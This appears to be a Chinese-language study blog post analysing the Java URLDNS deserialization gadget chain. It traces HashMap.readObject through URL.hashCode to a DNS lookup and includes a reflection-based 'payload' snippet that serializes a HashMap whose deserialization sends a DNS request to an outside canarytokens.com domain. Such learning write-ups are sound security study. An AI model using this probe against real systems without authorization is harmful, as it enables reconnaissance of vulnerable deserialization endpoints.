ycycyc

URLDNS链

2025-07-23

官方的利用链

HashMap.readObject()
	HashMap.putVal()
		HashMap.hash()
			URL.hashCode()

复现(分析)

我们先跟到HashMap类中

image-20250721154329522

找到HashMap的readObject()方法

image-20250721154938389

可以看到这里调用了hash方法,跟进一下这个hash方法

image-20250721155435787

可以看到这里还调用了一个hashcode方法,这里先保留一下。

这里再跟进一下URL,在URL类里面找到一个常见的函数:hashcode函数

image-20250721155627746

跟进这个hashCode函数发现,发现这里调用了handler里面的hashcode函数,继续跟进

image-20250721155821719

关键就是这里调用了一个getHostAddress函数,这个函数的作用就是直接翻译(根据域名来获取地址),就会进行一个域名解析的工作,也就是说调用URL类的hashCode函数就可以得到一个DNS请求,就可以验证漏洞是否存在。

这里就可以总结一下利用链:

HashMap->readObject()
HashMap->hash()
HashMap->hansh()->hashCode()
URL->hashCode()
handler->getHostAddress()

复现(利用)

首先在序列化的测试文件中添加下面的测试代码:

HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
hashmap.put(new URL("http://1tly1ablpqr45tvjwcssc28ec.canarytokens.com"),1);
serialize(hashmap);

URL是测试是否产生了URLDNS请求的网址:

这里我使用的是创建新的金丝雀代币这个在线网址,如果目标URL产生了DNS请求就会在我们填写的邮件提醒。

image-20250722231825468

进行序列化:

image-20250722231850368

按照道理这里是不会产生DNS请求的,但是这里我的右键是收到了提醒的,说明产生了DNS请求。

image-20250722231951054

为什么说这里本不应该产生DNS请求(进行域名解析)的呢?

因为在hashmap定义的writeObject方法中,只会直接写入键值对的原始数据,而不会进行任何请求的操作。

那么问题就是这里为什么会收到DNS请求呢?

实际上在序列化的上一步操作也就是

image-20250722233908450

image-20250722233927255

hashmap在调用put方法的时候就会调用hash方法

image-20250722234018811

image-20250722234053517

image-20250722234141518

也就会调用到hashcode函数,也就是会直接调用到这里的getHostAddress()方法,产生URLDNS请求了。

(会产生这种情况的前提就是当 hashCode 的值不等于 -1 的时候,函数就会直接 return hashCode 而不执行 hashCode = handler.hashCode(this);。而一开始定义 HashMap 类的时候hashCode 的值为 -1,便是发起了请求)

那么怎么解决这种情况给出的错误信息呢?

这里就要利用上面提到的反射的知识了,首先将hashCode的值更改为不是-1的值,再将hashCode的值改回-1。

payload:

// 这里不要发起请求
URL url = new URL("http://1tly1ablpqr45tvjwcssc28ec.canarytokens.com");  //创建一个 URL 对象,指向攻击者控制的域名
Class c = url.getClass();  //获取 URL 对象的 Class 对象
Field hashcodefile = c.getDeclaredField("hashCode");  //获取 URL 类的 hashCode 私有字段
hashcodefile.setAccessible(true);  //解除私有字段的访问限制
hashcodefile.set(url,1234);  //将 URL 对象的 hashCode 设为 1234
hashmap.put(url,1);  //将 URL 作为键存入 HashMap,其实是hashmap.put(new URL("http://1tly1ablpqr45tvjwcssc28ec.canarytokens.com"),1);部分的替换
hashcodefile.set(url,-1);  //将 hashCode 重置为 -1
serialize(hashmap);

image-20250723002159385

运行序列化并没有收到URLDNS请求

下面反序列化

image-20250723002701489

image-20250723002624068

可以看到收到了URLDNS请求说明就是操作成功了。

总结

最后总结这条链的反序列化的利用过程:

入口类A HashMap 接受一个参数o

目标类B URL

目标是调用B.f

A.reaObject->B.f(o.f,将B的这个URL传入当作这个o,就相当于B.f)

← Back to Home